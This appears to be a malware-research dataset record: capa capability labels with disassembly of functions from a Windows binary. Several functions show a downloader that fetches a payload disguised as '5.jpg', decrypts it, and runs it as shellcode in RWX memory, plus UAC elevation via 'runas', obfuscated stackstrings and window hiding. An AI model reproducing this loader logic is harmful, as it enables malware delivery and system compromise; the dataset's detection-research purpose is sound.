joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400110e0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rsi
push rdi
push r12
push r14
push r15
push r13
sub rsp, 0x830
mov rbx, rcx
mov esi, edx
mov rdi, r8
lea r12, [r8 + r9]
xor r14, r14
xor r15, r15
cmp rdi, r12
jae 0x1400111c2
lea rax, [rsp + 0x2c]
cmp byte [rdi], 0xa
jne 0x140011122
add r15, 1
mov byte [rax], 0xd
add rax, 1
add rax, 1
add rdi, 1
mov dl, byte [rdi - 1]
mov byte [rax - 1], dl
lea rdx, [rsp + 0x82b]
cmp rax, rdx
jae 0x140011142
cmp rdi, r12
jb 0x140011112
lea rdx, [rsp + 0x2c]
sub rax, rdx
mov r13d, eax
mov ecx, esi
call fcn.140011d70
test al, al
je 0x140011184
mov ecx, esi
call fcn.140011d10
mov r8d, r13d
mov rcx, rax
lea rdx, [rsp + 0x2c]
call fcn.140011f70
test al, al
je 0x1400111c6
mov eax, r13d
add r14, rax
add rdi, 1
cmp rdi, r12
jb 0x14001110d
jmp 0x1400111c2
mov ecx, esi
call fcn.140011d10
mov qword [rsp + 0x20], 0
mov rcx, rax
lea rdx, [rsp + 0x2c]
mov r8d, r13d
lea r9, [rsp + 0x82c]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1400111cd
mov eax, dword [rsp + 0x82c]
mov edx, eax
add r14, rdx
cmp eax, r13d
jae 0x140011179
xor esi, esi
jmp 0x1400111d5
mov esi, 0x1d
jmp 0x1400111d5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov qword [rbx], r14
mov qword [rbx + 8], r15
mov dword [rbx + 0x10], esi
mov rax, rbx
add rsp, 0x830
pop r13
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
ret

Function at 0x140011200
Capabilities:
Write file on windows

Disassembly:
push rbx
push rsi
push rdi
push r12
push r14
push r15
push r13
sub rsp, 0x830
mov rbx, rcx
mov esi, edx
mov rdi, r8
lea r12, [r8 + r9]
xor r14, r14
xor r15, r15
cmp rdi, r12
jae 0x1400112d2
lea rax, [rsp + 0x2c]
cmp word [rdi], 0xa
jne 0x140011245
add r15, 2
mov word [rax], 0xd
add rax, 2
add rax, 2
add rdi, 2
mov dx, word [rdi - 2]
mov word [rax - 2], dx
lea rdx, [rsp + 0x82a]
cmp rax, rdx
jae 0x140011267
cmp rdi, r12
jb 0x140011232
lea rdx, [rsp + 0x2c]
sub rax, rdx
mov r13d, eax
mov ecx, esi
call fcn.140011d70
test al, al
je 0x1400112e8
mov ecx, esi
call fcn.140011d10
mov qword [rsp + 0x20], 0
mov r8d, r13d
shr r8d, 1
mov rcx, rax
lea rdx, [rsp + 0x2c]
lea r9, [rsp + 0x82c]
call qword [sym.imp.KERNEL32.dll_WriteConsoleW]
test eax, eax
je 0x1400112dc
shl dword [rsp + 0x82c], 1
mov eax, dword [rsp + 0x82c]
mov edx, eax
add r14, rdx
cmp eax, r13d
jb 0x1400112d2
add rdi, 2
cmp rdi, r12
jb 0x14001122d
mov dword [rsp + 0x28], 0
jmp 0x14001131f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x28], eax
jmp 0x14001131f
mov ecx, esi
call fcn.140011d10
mov qword [rsp + 0x20], 0
mov rcx, rax
lea rdx, [rsp + 0x2c]
mov r8d, r13d
lea r9, [rsp + 0x82c]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1400112b4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x28], eax
mov qword [rbx], r14
mov qword [rbx + 8], r15
mov eax, dword [rsp + 0x28]
mov dword [rbx + 0x10], eax
mov rax, rbx
add rsp, 0x830
pop r13
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
ret
Function at 0x140011350
Capabilities:
Write file on windows

Disassembly:
push rbx
push rsi
push rdi
push r12
push r14
push r15
push r13
sub rsp, 0xc50
mov qword [rsp + 0xc90], rcx
mov ebx, edx
mov rsi, r8
mov rdi, rsi
lea r12, [rsi + r9]
xor r14, r14
cmp rdi, r12
jae 0x140011425
lea rax, [rsp + 0x844]
cmp word [rdi], 0xa
jne 0x140011399
mov word [rax], 0xd
add rax, 2
add rax, 2
add rdi, 2
mov dx, word [rdi - 2]
mov word [rax - 2], dx
lea rdx, [rsp + 0xc42]
cmp rax, rdx
jae 0x1400113bb
cmp rdi, r12
jb 0x14001138a
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x800
lea rdx, [rsp + 0x44]
mov qword [rsp + 0x20], rdx
lea rdx, [rsp + 0x844]
sub rax, rdx
sar rax, 1
mov r9d, eax
mov ecx, 0xfde9
xor edx, edx
lea r8, [rsp + 0x844]
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
je 0x14001142f
mov eax, eax
lea r15, [rsp + rax + 0x44]
lea rax, [rsp + 0x44]
cmp r15, rax
jbe 0x1400114b0
lea r13, [rsp + 0x44]
jmp 0x140011470
mov dword [rsp + 0x40], 0
jmp 0x140011439
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x40], eax
mov rax, qword [rsp + 0xc90]
mov qword [rax], r14
mov rax, qword [rsp + 0xc90]
mov qword [rax + 8], 0
mov rax, qword [rsp + 0xc90]
mov edx, dword [rsp + 0x40]
mov dword [rax + 0x10], edx
mov rax, qword [rsp + 0xc90]
jmp 0x1400114fc
mov ecx, ebx
call fcn.140011d10
mov qword [rsp + 0x20], 0
mov rdx, r15
sub rdx, r13
mov r8d, edx
mov rcx, rax
mov rdx, r13
lea r9, [rsp + 0xc44]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1400114c8
mov eax, dword [rsp + 0xc44]
add r13, rax
cmp r13, r15
jb 0x140011470
mov r14, rdi
sub r14, rsi
add rdi, 2
cmp rdi, r12
jb 0x140011382
jmp 0x140011425
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, qword [rsp + 0xc90]
mov qword [rdx], r14
mov rdx, qword [rsp + 0xc90]
mov qword [rdx + 8], 0
mov rdx, qword [rsp + 0xc90]
mov dword [rdx + 0x10], eax
mov rax, qword [rsp + 0xc90]
add rsp, 0xc50
pop r13
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
ret

Function at 0x140011510
Capabilities:
Write file on windows

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x30
mov rbx, rcx
mov rsi, r8
mov rdi, r9
mov ecx, edx
call fcn.140011d10
mov qword [rsp + 0x20], 0
mov r8d, edi
mov rcx, rax
mov rdx, rsi
lea r9, [rsp + 0x2c]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140011552
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
jmp 0x140011558
mov edx, dword [rsp + 0x2c]
xor eax, eax
mov qword [rbx], rdx
mov qword [rbx + 8], 0
mov dword [rbx + 0x10], eax
mov rax, rbx
add rsp, 0x30
pop rdi
pop rsi
pop rbx
ret

Function at 0x140012320
Capabilities:
Delete file

Disassembly:
jmp 0x140012330
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x140012352
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.14000c960
mov eax, 0xffffffff
jmp 0x140012354
xor eax, eax
add rsp, 0x28
ret
Function at 0x140012330
Capabilities:
Delete file

Disassembly:
jmp 0x140012330
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x140012352
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.14000c960
mov eax, 0xffffffff
jmp 0x140012354
xor eax, eax
add rsp, 0x28
ret
Function at 0x140001000
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x10
jmp 0x14000103d
mov rax, qword [rsp + 0x28]
inc rax
mov qword [rsp + 0x28], rax
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x60]
cmp qword [rsp + 0x28], rax
jae 0x14000112b
cmp dword [rsp + 0x20], 0x10
jne 0x1400010f5
mov rax, qword [rsp + 0x50]
movups xmm0, xmmword [rax + 0xf0]
movdqu xmmword [rsp + 0x30], xmm0
mov rax, qword [rsp + 0x50]
mov rdx, rax
lea rcx, [rsp + 0x30]
call fcn.140001218
mov dword [rsp + 0x20], 0xf
jmp 0x140001090
mov eax, dword [rsp + 0x20]
dec eax
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
jl 0x1400010ed
movsxd rax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x50]
movzx eax, byte [rcx + rax + 0xf0]
cmp eax, 0xff
jne 0x1400010c4
movsxd rax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x50]
mov byte [rcx + rax + 0xf0], 0
jmp 0x140001086
movsxd rax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x50]
movzx eax, byte [rcx + rax + 0xf0]
inc eax
movsxd rcx, dword [rsp + 0x20]
mov rdx, qword [rsp + 0x50]
mov byte [rdx + rcx + 0xf0], al
jmp 0x1400010ed
mov dword [rsp + 0x20], 0
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
movzx eax, byte [rax]
movsxd rcx, dword [rsp + 0x20]
movzx ecx, byte [rsp + rcx + 0x30]
xor eax, ecx
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x58]
add rdx, rcx
mov rcx, rdx
mov byte [rcx], al
jmp 0x140001026
add rsp, 0x48
ret

Function at 0x140001170
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov byte [rsp + 8], cl
sub rsp, 0x18
mov byte [rsp + 1], 0
jmp 0x140001193
mov al, byte [rsp + 1]
inc al
mov byte [rsp + 1], al
movzx eax, byte [rsp + 1]
cmp eax, 4
jge 0x140001213
mov byte [rsp], 0
jmp 0x1400011ab
mov al, byte [rsp]
inc al
mov byte [rsp], al
movzx eax, byte [rsp]
cmp eax, 4
jge 0x14000120e
movzx eax, byte [rsp + 1]
mov rcx, qword [rsp + 0x28]
lea rax, [rcx + rax*4]
movzx ecx, byte [rsp]
movzx edx, byte [rsp + 0x20]
shl edx, 2
movzx r8d, byte [rsp + 1]
shl r8d, 2
lea edx, [r8 + rdx*4]
movzx r8d, byte [rsp]
add edx, r8d
movsxd rdx, edx
mov r8, qword [rsp + 0x30]
movzx edx, byte [r8 + rdx]
movzx eax, byte [rax + rcx]
xor eax, edx
movzx ecx, byte [rsp]
movzx edx, byte [rsp + 1]
mov r8, qword [rsp + 0x28]
lea rdx, [r8 + rdx*4]
mov byte [rdx + rcx], al
jmp 0x1400011a3
jmp 0x140001189
add rsp, 0x18
ret
Function at 0x140001d2c
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov byte [rsp + 1], 0
jmp 0x140001d46
mov al, byte [rsp + 1]
inc al
mov byte [rsp + 1], al
movzx eax, byte [rsp + 1]
cmp eax, 4
jge 0x140001da2
mov byte [rsp], 0
jmp 0x140001d5e
mov al, byte [rsp]
inc al
mov byte [rsp], al
movzx eax, byte [rsp]
cmp eax, 4
jge 0x140001da0
movzx eax, byte [rsp]
mov rcx, qword [rsp + 0x20]
lea rax, [rcx + rax*4]
movzx ecx, byte [rsp + 1]
movzx eax, byte [rax + rcx]
lea rcx, str.cw
movzx edx, byte [rsp]
mov r8, qword [rsp + 0x20]
lea rdx, [r8 + rdx*4]
movzx r8d, byte [rsp + 1]
mov al, byte [rcx + rax]
mov byte [rdx + r8], al
jmp 0x140001d56
jmp 0x140001d3c
add rsp, 0x18
ret

Function at 0x140007b14
Capabilities:
Hash data with crc32

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x18
cmp dword [0x140012c50], 0
jne 0x140007baf
mov dword [rsp], 0
jmp 0x140007b3f
mov eax, dword [rsp]
inc eax
mov dword [rsp], eax
cmp dword [rsp], 0x100
jae 0x140007ba5
mov eax, dword [rsp]
mov dword [rsp + 4], eax
mov dword [rsp + 0xc], 8
jmp 0x140007b63
mov eax, dword [rsp + 0xc]
dec eax
mov dword [rsp + 0xc], eax
cmp dword [rsp + 0xc], 0
jbe 0x140007b92
mov eax, dword [rsp + 4]
and eax, 1
test eax, eax
je 0x140007b86
mov eax, dword [rsp + 4]
shr eax, 1
xor eax, 0xedb88320
mov dword [rsp + 4], eax
jmp 0x140007b90
mov eax, dword [rsp + 4]
shr eax, 1
mov dword [rsp + 4], eax
jmp 0x140007b59
mov eax, dword [rsp]
lea rcx, [0x140012850]
mov edx, dword [rsp + 4]
mov dword [rcx + rax*4], edx
jmp 0x140007b37
mov dword [0x140012c50], 1
mov dword [rsp + 8], 0xffffffff
mov dword [rsp], 0
jmp 0x140007bc8
mov eax, dword [rsp]
inc eax
mov dword [rsp], eax
mov eax, dword [rsp + 0x28]
cmp dword [rsp], eax
jae 0x140007c00
mov eax, dword [rsp + 8]
shr eax, 8
mov ecx, dword [rsp]
mov rdx, qword [rsp + 0x20]
movzx ecx, byte [rdx + rcx]
xor ecx, dword [rsp + 8]
and ecx, 0xff
mov ecx, ecx
lea rdx, [0x140012850]
xor eax, dword [rdx + rcx*4]
mov dword [rsp + 8], eax
jmp 0x140007bc0
mov eax, dword [rsp + 8]
not eax
add rsp, 0x18
ret
Function at 0x1400098e4
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x68
cmp qword [rsp + 0x70], 0
jne 0x140009905
xor eax, eax
jmp 0x140009a60
mov rax, qword [rsp + 0x70]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x40]
lea rax, [rcx + rax + 0x88]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x20], 0
jmp 0x140009964
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x18]
cmp dword [rsp + 0x20], eax
jae 0x140009a5e
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x70]
add rcx, rax
mov rax, rcx
mov ecx, dword [rsp + 0x20]
lea rax, [rax + rcx*4]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x28]
call fcn.14000cff0
mov edx, eax
mov rcx, qword [rsp + 0x28]
call fcn.140007b14
mov dword [rsp + 0x24], eax
cmp qword [rsp + 0x38], 0
je 0x140009a59
cmp qword [rsp + 0x28], 0
je 0x140009a59
mov eax, dword [rsp + 0x78]
cmp dword [rsp + 0x24], eax
jne 0x140009a59
cmp dword [rsp + 0x80], 0
je 0x140009a01
mov rdx, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x70]
call qword [0x1400125a8]
jmp 0x140009a60
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x24]
mov rcx, qword [rsp + 0x70]
add rcx, rax
mov rax, rcx
mov ecx, dword [rsp + 0x20]
lea rax, [rax + rcx*2]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x1c]
mov rcx, qword [rsp + 0x70]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x50]
movzx ecx, word [rcx]
lea rax, [rax + rcx*4]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x70]
add rcx, rax
mov rax, rcx
jmp 0x140009a60
jmp 0x14000995a
xor eax, eax
add rsp, 0x68
ret
Function at 0x14000c1e4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x168
mov byte [rsp + 0x28], 0xd6
mov byte [rsp + 0x29], 0x23
mov byte [rsp + 0x2a], 0xb8
mov byte [rsp + 0x2b], 0xef
mov byte [rsp + 0x2c], 0x62
mov byte [rsp + 0x2d], 0x26
mov byte [rsp + 0x2e], 0xce
mov byte [rsp + 0x2f], 0xc3
mov byte [rsp + 0x30], 0xe2
mov byte [rsp + 0x31], 0x4c
mov byte [rsp + 0x32], 0x55
mov byte [rsp + 0x33], 0x12
mov byte [rsp + 0x34], 0x7d
mov byte [rsp + 0x35], 0xe8
mov byte [rsp + 0x36], 0x73
mov byte [rsp + 0x37], 0xe7
mov byte [rsp + 0x38], 0x83
mov byte [rsp + 0x39], 0x9c
mov byte [rsp + 0x3a], 0x77
mov byte [rsp + 0x3b], 0x6b
mov byte [rsp + 0x3c], 0xb1
mov byte [rsp + 0x3d], 0xa9
mov byte [rsp + 0x3e], 0x3b
mov byte [rsp + 0x3f], 0x57
mov byte [rsp + 0x40], 0xb2
mov byte [rsp + 0x41], 0x5f
mov byte [rsp + 0x42], 0xdb
mov byte [rsp + 0x43], 0xea
mov byte [rsp + 0x44], 0xd
mov byte [rsp + 0x45], 0xb6
mov byte [rsp + 0x46], 0x8e
mov byte [rsp + 0x47], 0xa2
mov eax, 2
imul rax, rax, 0
mov rcx, qword [rsp + 0x180]
movzx eax, word [rcx + rax]
mov word [rsp + 0x20], ax
mov byte [rsp + 0x48], 0
lea rax, [rsp + 0x49]
mov rdi, rax
xor eax, eax
mov ecx, 0xf
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x180]
movups xmm0, xmmword [rax + 2]
movdqu xmmword [rsp + 0x48], xmm0
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0x60]
call fcn.140001130
movsx rax, word [rsp + 0x20]
mov rcx, qword [rsp + 0x180]
add rcx, 0x12
mov rdi, qword [rsp + 0x188]
mov rsi, rcx
mov rcx, rax
rep movsb byte [rdi], byte [rsi]
movsx rax, word [rsp + 0x20]
mov r8, rax
mov rdx, qword [rsp + 0x188]
lea rcx, [rsp + 0x60]
call section..text
mov rax, qword [rsp + 0x188]
add rsp, 0x168
pop rdi
pop rsi
ret

Function at 0x14000e2d8
Capabilities:
Hash data using fnv

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov dword [rsp], 0x811c9dc5
mov rax, qword [rsp + 0x20]
mov qword [rsp + 8], rax
jmp 0x14000e306
mov rax, qword [rsp + 8]
inc rax
mov qword [rsp + 8], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
cmp qword [rsp + 8], rax
jae 0x14000e33b
mov rax, qword [rsp + 8]
movsx eax, byte [rax]
mov ecx, dword [rsp]
xor ecx, eax
mov eax, ecx
mov dword [rsp], eax
imul eax, dword [rsp], 0x1000193
mov dword [rsp], eax
jmp 0x14000e2f9
mov eax, dword [rsp]
add rsp, 0x18
ret
Function at 0x14000e4b4
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov dword [rsp + 0x20], 0
jmp 0x14000e4e0
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x58]
cmp dword [rsp + 0x20], eax
jge 0x14000e5e2
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x104]
inc eax
cdq
and edx, 0xff
add eax, edx
and eax, 0xff
sub eax, edx
mov rcx, qword [rsp + 0x40]
mov dword [rcx + 0x104], eax
mov rax, qword [rsp + 0x40]
movsxd rax, dword [rax + 0x104]
mov rcx, qword [rsp + 0x40]
movzx eax, byte [rcx + rax]
mov rcx, qword [rsp + 0x40]
mov ecx, dword [rcx + 0x108]
add ecx, eax
mov eax, ecx
cdq
and edx, 0xff
add eax, edx
and eax, 0xff
sub eax, edx
mov rcx, qword [rsp + 0x40]
mov dword [rcx + 0x108], eax
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x40]
mov r8d, dword [rcx + 0x108]
mov rcx, qword [rsp + 0x40]
mov edx, dword [rcx + 0x104]
mov rcx, rax
call fcn.14000e670
mov rax, qword [rsp + 0x40]
movsxd rax, dword [rax + 0x104]
mov rcx, qword [rsp + 0x40]
movzx eax, byte [rcx + rax]
mov rcx, qword [rsp + 0x40]
movsxd rcx, dword [rcx + 0x108]
mov rdx, qword [rsp + 0x40]
movzx ecx, byte [rdx + rcx]
add eax, ecx
cdq
and edx, 0xff
add eax, edx
and eax, 0xff
sub eax, edx
cdqe
mov rcx, qword [rsp + 0x40]
movzx eax, byte [rcx + rax]
movsxd rcx, dword [rsp + 0x20]
mov rdx, qword [rsp + 0x48]
movzx ecx, byte [rdx + rcx]
xor eax, ecx
movsxd rcx, dword [rsp + 0x20]
mov rdx, qword [rsp + 0x50]
mov byte [rdx + rcx], al
jmp 0x14000e4d6
add rsp, 0x38
ret
Function at 0x140003ac4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [0x140005060]
test rax, rax
je 0x140003b0e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140003b0e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003b0e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140003b0e
cmp dword [rcx + 0x84], 0xe
jbe 0x140003b0e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140003b10
xor al, al
add rsp, 0x28
ret
Function at 0x140005ef0
Capabilities:
Get token membership

Disassembly:
sub rsp, 0x88
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x60], 0
mov byte [rsp + 0x64], 0
mov byte [rsp + 0x65], 0
mov byte [rsp + 0x66], 0
mov byte [rsp + 0x67], 0
mov byte [rsp + 0x68], 0
mov byte [rsp + 0x69], 5
lea rax, [rsp + 0x70]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x220
mov r8d, 0x20
mov dl, 2
lea rcx, [rsp + 0x64]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
jne 0x140005f83
xor eax, eax
jmp 0x140005fb0
lea r8, [rsp + 0x60]
mov rdx, qword [rsp + 0x70]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x140005fa1
mov dword [rsp + 0x60], 0
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [rsp + 0x60]
add rsp, 0x88
ret

Function at 0x140005fc0
Capabilities:
Create process on windows

Disassembly:
push rdi
sub rsp, 0x1b0
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140005ef0
test eax, eax
jne 0x140006071
mov r8d, 0x104
lea rdx, [rsp + 0xa0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x140006071
mov dword [rsp + 0x30], 0x70
lea rax, [rsp + 0x34]
mov rdi, rax
xor eax, eax
mov ecx, 0x6c
rep stosb byte [rdi], al
lea rax, str.runas
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x60], 1
lea rcx, [rsp + 0x30]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x14000606a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0x4c7
jne 0x140006068
xor ecx, ecx
call fcn.140006b1c
jmp 0x140006071
xor ecx, ecx
call fcn.140006b1c
add rsp, 0x1b0
pop rdi
ret
Function at 0x140006080
Capabilities:
Allocate or change rwx memory
Check if file exists
Execute shellcode via indirect call
Get file attributes
Read file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0x78
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x14001d6cc], 2
jle 0x140006277
call fcn.140005fc0
lea rcx, str.urlmon.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x1400060c8
mov eax, 1
jmp 0x14000627c
lea rdx, str.URLDownloadToFileA
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x1400060fc
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 1
jmp 0x14000627c
lea rcx, str.5.jpg
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x14000614e
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.5.jpg
lea rdx, [0x140021190]
xor ecx, ecx
call qword [rsp + 0x58]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
jge 0x14000614e
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 1
jmp 0x14000627c
lea rdx, [0x14001a3c8]
lea rcx, str.5.jpg
call fcn.140006c00
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jne 0x140006183
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 1
jmp 0x14000627c
mov r8d, 2
xor edx, edx
mov rcx, qword [rsp + 0x38]
call fcn.140006cb8
mov rcx, qword [rsp + 0x38]
call fcn.140007040
cdqe
mov qword [rsp + 0x48], rax
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x38]
call fcn.140006cb8
mov rcx, qword [rsp + 0x48]
call fcn.140007098
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
jne 0x1400061eb
mov rcx, qword [rsp + 0x38]
call fcn.1400071cc
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 1
jmp 0x14000627c
mov r9, qword [rsp + 0x38]
mov r8, qword [rsp + 0x48]
mov edx, 1
mov rcx, qword [rsp + 0x50]
call fcn.140007454
mov rcx, qword [rsp + 0x38]
call fcn.1400071cc
lea r8, str.XDCY1XD
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
call fcn.140005e20
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, qword [rsp + 0x48]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x60], rax
mov rdi, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
rep movsb byte [rdi], byte [rsi]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [rsp + 0x60]
mov rcx, qword [rsp + 0x50]
call fcn.14000751c
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 1
add rsp, 0x78
pop rdi
pop rsi
ret
Function at 0x140006490
Capabilities:
Hide graphical window

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0xe0
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x90], 0
lea rax, [rsp + 0x98]
mov rdi, rax
xor eax, eax
mov ecx, 0x40
rep stosb byte [rdi], al
mov qword [rsp + 0xc0], 5
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorW]
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0xa8], rax
lea rax, [0x14001a420]
mov qword [rsp + 0xd0], rax
lea rax, [0x140006290]
mov qword [rsp + 0x98], rax
lea rcx, [rsp + 0x90]
call qword [sym.imp.USER32.dll_RegisterClassW]
movzx eax, ax
test eax, eax
jne 0x140006544
mov eax, 0xffffffff
jmp 0x140006633
mov rax, qword [rsp + 0xf0]
mov qword [0x14001e948], rax
mov qword [rsp + 0x58], 0
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0x190
mov dword [rsp + 0x30], 0x1f4
mov dword [rsp + 0x28], 0x64
mov dword [rsp + 0x20], 0x64
mov r9d, 0x10cf0000
lea r8, [0x14001a440]
lea rdx, str.myWindowClass
xor ecx, ecx
